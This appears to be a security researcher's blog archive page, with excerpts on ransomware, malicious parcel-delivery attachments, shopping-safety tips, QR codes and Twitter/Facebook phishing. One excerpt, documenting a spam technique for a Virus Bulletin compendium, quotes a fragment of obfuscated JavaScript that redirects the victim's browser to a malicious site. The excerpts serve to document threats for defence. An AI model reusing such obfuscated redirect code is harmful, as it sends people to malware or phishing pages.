I was actually not expecting this kind of ransomware… I am used by now with “You’re hacked”, “You’re infected”… and others alike , but this one with the website is actually really interesting. What I find very disturbing is the fact that there are 5 transactions. A few were for tests, I think, but there […]
During the holidays season many people receive packages from the post or delivery services. We wrote about the dangers introduced by opening attachments in emails pretending to come from such entities. Without an active and up to date security software, attachments in email should never be open, no matter from where they come. We also […]
Avira Survey Finds Computer Users Don’t Feel Safe on Social Media Sites “This survey was very interesting because it demonstrated that even though social media sites are very popular among the general population, computer users from all over the world have the same concerns,” said Sorin Mustaca, data security expert at Avira.“They are wary of […]
The source is an article I wrote for the Avira press release : http://www.avira.com/en/press-details/nid/528/news/consumers-concerns-online-shopping-safety Here are the tips: I recommend that consumers watch for a few things in order to not become a victim of the online fraudsters: Always check that the connection to the online store where the payment is done is secured. […]
I finally found some time to change the website from the old design in dark colors to a WordPress (statical) blog. The new design is simpler and it is only on one single level. I got rid of all the old things and left only what is relevant. Here is the structure with links: Home […]
I recently installed IE9 because it is the latest which Microsoft produced. I was curious how my website looks like so I told myself that wouldn’t be a bad idea to compare this website in various browsers. I took Google’s Chrome, Mozilla Firefox and IE9, the latest version at the moment of writing this post. […]
Thanks to Virus Bulletin, we have now a new entry in The Spammers’ Compendium: Script in the middle UO!Script in the Middle!JavaScript 14 October 2010 Description The email has an HTML document attached to it that contanis a for. Clicking submit will POST the user’s data to a website controlled by the crooks, which automatically […]
QR Code of this website from bit.ly: (Taken from bit.ly and adding .qr at the end of the shortened URL) Taken from goo.gl: More about the QR codes can be found on Wikipedia: http://en.wikipedia.org/wiki/QR_Code A QR Code is a matrix barcode (or two-dimensional code), readable by QR scanners, mobile phones with a camera, and smartphones. […]
Source: http://www.virusbtn.com/resources/spammerscompendium/responsibility.xml The Responsibility Transfer UO!Responsibility!JavaScript 31 August 2010 Description Using an attached HTML document that contains almost the same page as the HTML-part of the email body, but uses obfuscated JavaScript to redirect the user to a malicious website. Submitted by Sorin Mustaca. Example <script>function r(){};fQ=false;d="";r.prototype = {p : function() { this.j='';var pN=54899;s=false;this.k="k";this.kH=22581;c='';l=64422; document.location.href=String("htt"+"p:/"+"/tr"+"ace"+"boo"+"k.u"+"s/1"+".htOnc".substr(0,3)+"ml"); […]
The source of the articles is in the Avira Techblog: Twitter Phishing (on first sight) Facebook Phishing (on first sight) Twitter Over the weekend our spam traps received a massive wave of emails looking like the one below: The emails seem to stem from “Twitter Support” (support@twitter.com) and are addressed each to exactly one unique […]
